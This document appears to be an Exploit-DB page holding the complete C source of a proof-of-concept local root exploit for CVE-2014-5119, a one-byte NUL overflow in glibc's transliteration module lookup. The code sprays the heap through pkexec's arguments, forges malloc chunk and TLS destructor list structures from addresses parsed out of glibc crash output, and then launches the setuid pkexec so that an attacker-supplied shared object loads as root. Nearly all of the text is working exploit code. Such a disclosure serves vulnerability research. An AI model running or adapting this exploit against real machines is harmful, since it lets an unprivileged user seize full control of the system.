glibc Off-by-One NUL Byte gconv_translit_find Exploit

// // Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz // // // --------------------------------------------------- // CVE-2014-5119 glibc __gconv_translit_find() exploit // ------------------------ taviso & scarybeasts ----- // // Tavis Ormandy <taviso@cmpxhg8b.com> // Chris Evans <scarybeasts@gmail.com> // // Monday 25th August, 2014 // #define _GNU_SOURCE #include <err.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <dlfcn.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <assert.h> #include <stdarg.h> #include <stddef.h> #include <signal.h> #include <string.h> #include <termios.h> #include <stdbool.h> #include <sys/user.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/utsname.h> #include <sys/resource.h> // Minimal environment to trigger corruption in __gconv_translit_find(). static char * const kCorruptCharsetEnviron[] = { "CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", NULL, }; static const struct rlimit kRlimMax = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY, }; static const struct rlimit kRlimMin = { .rlim_cur = 1, .rlim_max = 1, }; // A malloc chunk header. typedef struct { size_t prev_size; size_t size; uintptr_t fd; uintptr_t bk; uintptr_t fd_nextsize; uintptr_t bk_nextsize; } mchunk_t; // A tls_dtor_list node. typedef struct { uintptr_t func; uintptr_t obj; uintptr_t map; uintptr_t next; } dlist_t; // The known_trans structure glibc uses for transliteration modules. typedef struct { uint8_t info[32]; char *fname; void *handle; int open_count; } known_t; enum { LOG_DEBUG, LOG_WARN, LOG_ERROR, LOG_FATAL, }; // Round up an integer to the next PAGE_SIZE boundary. static inline uintptr_t next_page_size(uintptr_t size) { return (size + PAGE_SIZE - 1) & PAGE_MASK; } // Allocate a buffer of specified length, starting with s, containing c, terminated with t. static void * alloc_repeated_string(size_t length, int s, int c, int t) { return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1); } static void logmessage(int level, const char * format, ...) { va_list ap; switch (level) { case LOG_DEBUG: fprintf(stderr, "[*] "); break; case LOG_WARN: fprintf(stderr, "[*] "); break; case LOG_ERROR: fprintf(stderr, "[!] "); break; } va_start(ap, format); vfprintf(stderr, format, ap); va_end(ap); fputc('\n', stderr); if (level == LOG_ERROR) { _exit(EXIT_FAILURE); } } // Parse a libc malloc assertion message to extract useful pointers. // // Note, this isn't to defeat ASLR, it just makes it more portable across // different system configurations. ASLR is already nullified using rlimits, // although technically even that isn't necessary. static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr) { FILE *pty; char *mallocerror; char *memorymap; char *line; char *prev; char message[1 << 14]; char *anon = NULL; char r, w, x, s; ssize_t count; int status; uintptr_t mapstart; uintptr_t mapend; // Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot // be changed in setuid programs, so this wrapper catches tty output. while (true) { // Reset any previous output. memset(message, 0, sizeof message); logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)..."); if ((pty = popen("./pty", "r")) == NULL) { logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue"); } if ((count = fread(message, 1, sizeof message, pty)) <= 0) { logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message); } logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count); pclose(pty); mallocerror = strstr(message, "corrupted double-linked list"); memorymap = strstr(message, "======= Memory map: ========"); // Unfortunately this isn't reliable, keep trying until it works. if (mallocerror == NULL || memorymap == NULL) { logmessage(LOG_WARN, "expected output missing (this is normal), trying again..."); continue; } logmessage(LOG_DEBUG, "pseudo-pty helper succeeded"); break; } *baseaddr = 0; *chunkptr = 0; *bssaddr = 0; *libcaddr = 0; logmessage(LOG_DEBUG, "attempting to parse libc fatal error message..."); // Verify this is a message we understand. if (!mallocerror || !memorymap) { logmessage(LOG_ERROR, "unable to locate required error messages in crash dump"); } // First, find the chunk pointer that malloc doesn't like if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) { logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror); }; logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr); logmessage(LOG_DEBUG, "attempting to parse the libc maps dump..."); // Second, parse maps. for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) { char filename[32]; // Reset filename. memset(filename, 0, sizeof filename); // Just ignore the banner printed by glibc. if (strcmp(line, "======= Memory map: ========") == 0) { continue; } if (sscanf(line, "%08x-%08x %c%c%c%c %*8x %*s %*u %31s", &mapstart, &mapend, &r, &w, &x, &s, filename) >= 1) { // Record the last seen anonymous map, in case the kernel didn't tag the heap. if (strlen(filename) == 0) { anon = line; } // If the kernel did tag the heap, then everything is easy. if (strcmp(filename, "[heap]") == 0) { logmessage(LOG_DEBUG, "successfully located first morecore chunk w/tag @%p", mapstart); *baseaddr = mapstart; } // If it didn't tag the heap, then we need the anonymous chunk before the stack. if (strcmp(filename, "[stack]") == 0 && !*baseaddr) { logmessage(LOG_WARN, "no [heap] tag was found, using heuristic..."); if (sscanf(anon, "%08x-%*08x %*c%*c%*c%*c %*8x %*s %*u %31s", baseaddr, filename) < 1) { logmessage(LOG_ERROR, "expected to find heap location in line `%s`, but failed", anon); } logmessage(LOG_DEBUG, "located first morecore chunk w/o tag@%p", *baseaddr); } if (strcmp(filename, "/usr/lib/libc-2.18.so") == 0 && x == 'x') { logmessage(LOG_DEBUG, "found libc.so mapped @%p", mapstart); *libcaddr = mapstart; } // Try to find libc bss. if (strlen(filename) == 0 && mapend - mapstart == 0x102000) { logmessage(LOG_DEBUG, "expecting libc.so bss to begin at %p", mapstart); *bssaddr = mapstart; } continue; } logmessage(LOG_ERROR, "unable to parse maps line `%s`, quiting", line); break; } return (*chunkptr == 0 || *baseaddr == 0 || *bssaddr == 0 || *libcaddr == 0) ? 1 : 0; } static const size_t heap_chunk_start = 0x506c8008; static const size_t heap_chunk_end = 0x506c8008 + (2 * 1024 * 1024); static const size_t nstrings = 15840000; // The offset into libc-2.18.so BSS of tls_dtor_list. static const uintptr_t kTlsDtorListOffset = 0x12d4; // The DSO we want to load as euid 0. static const char kExploitDso[] = "./exploit.so"; int main(int argc, const char* argv[]) { uintptr_t baseaddr; uintptr_t chunkptr; uintptr_t bssaddr; uintptr_t libcaddr; uint8_t *param; char **args; dlist_t *chain; struct utsname ubuf; // Look up host type. if (uname(&ubuf) != 0) { logmessage(LOG_ERROR, "failed to query kernel information"); } logmessage(LOG_DEBUG, "---------------------------------------------------"); logmessage(LOG_DEBUG, "CVE-2014-5119 glibc __gconv_translit_find() exploit"); logmessage(LOG_DEBUG, "------------------------ taviso & scarybeasts -----"); // Print some warning that this isn't going to work on Ubuntu. if (access("/etc/fedora-release", F_OK) != 0 || strcmp(ubuf.machine, "i686") != 0) logmessage(LOG_WARN, "This proof of concept is designed for 32 bit Fedora 20"); // Extract some useful pointers from glibc error output. if (parse_fatal_error(&chunkptr, &baseaddr, &bssaddr, &libcaddr) != 0) { logmessage(LOG_ERROR, "unable to parse libc fatal error message, please try again."); } logmessage(LOG_DEBUG, "allocating space for argument structure..."); // This number of "-u" arguments is used to spray the heap. // Each value is a 59-byte string, leading to a 64-byte heap chunk, leading to a stable heap pattern. // The value is just large enough to usuaully crash the heap into the stack without going OOM. if ((args = malloc(((nstrings * 2 + 3) * sizeof(char *)))) == NULL) { logmessage(LOG_ERROR, "allocating argument structure failed"); } logmessage(LOG_DEBUG, "creating command string..."); args[nstrings * 2 + 1] = alloc_repeated_string(471, '/', 1, 0); args[nstrings * 2 + 2] = NULL; logmessage(LOG_DEBUG, "creating a tls_dtor_list node..."); // The length 59 is chosen to cause a 64byte allocation by stdrup. That is // a 60 byte nul-terminated string, followed by 4 bytes of metadata. param = alloc_repeated_string(59, 'A', 'A', 0); chain = (void *) param; logmessage(LOG_DEBUG, "open_translit() symbol will be at %p", libcaddr + _OPEN_TRANSLIT_OFF); logmessage(LOG_DEBUG, "offsetof(struct known_trans, fname) => %u", offsetof(known_t, fname)); chain->func = libcaddr + _OPEN_TRANSLIT_OFF; chain->obj = baseaddr + 8 + sizeof(*chain) - 4 - offsetof(known_t, fname); chain->map = baseaddr + 8 + sizeof(*chain); chain->next = baseaddr + 8 + 59 - strlen(kExploitDso); logmessage(LOG_DEBUG, "appending `%s` to list node", kExploitDso); memcpy(param + 59 - strlen(kExploitDso), kExploitDso, 12); logmessage(LOG_DEBUG, "building parameter list..."); for (int i = 0; i < nstrings; ++i) { args[i*2 + 1] = "-u"; args[i*2 + 2] = (void *) chain; } // Verify we didn't sneak in a NUL. assert(memchr(chain, 0, sizeof(chain)) == NULL); logmessage(LOG_DEBUG, "anticipating tls_dtor_list to be at %p", bssaddr + kTlsDtorListOffset); // Spam all of possible chunks (some are unfortunately missed). for (int i = 0; true; i++) { uintptr_t chunksize = 64; uintptr_t chunkaddr = baseaddr + i * chunksize; uintptr_t targetpageoffset = chunkptr & ~PAGE_MASK; uintptr_t chunkpageoffset = PAGE_MASK; uintptr_t mmapbase = 31804 + ((0xFD8 - targetpageoffset) / 32); uint8_t *param = NULL; mchunk_t chunk = { .prev_size = 0xCCCCCCCC, .size = 0xDDDDDDDD, .fd_nextsize = bssaddr + kTlsDtorListOffset - 0x14, .bk_nextsize = baseaddr + 8, }; // Compensate for heap metadata every 1MB of allocations. chunkaddr += 8 + (i / (1024 * 1024 / chunksize - 1) * chunksize); if (chunkaddr < heap_chunk_start) continue; if (chunkaddr > heap_chunk_end) break; chunkpageoffset = chunkaddr & ~PAGE_MASK; if (chunkpageoffset > targetpageoffset) { continue; } if (targetpageoffset - chunkpageoffset > chunksize) { continue; } // Looks like this will fit, compensate the pointers for alignment. chunk.fd = chunk.bk = chunkaddr + (targetpageoffset - chunkpageoffset); if (memchr(&chunk, 0, sizeof chunk)) { logmessage(LOG_WARN, "parameter %u would contain a nul, skipping", i); continue; } args[mmapbase + i * 2] = param = alloc_repeated_string(60, 'A', 'A', 0); memcpy(param + (targetpageoffset - chunkpageoffset), &chunk, sizeof chunk); } setrlimit(RLIMIT_STACK, &kRlimMax); setrlimit(RLIMIT_DATA, &kRlimMin); args[0] = "pkexec"; logmessage(LOG_DEBUG, "execvpe(%s...)...", args[0]); execvpe("pkexec", args, kCorruptCharsetEnviron); }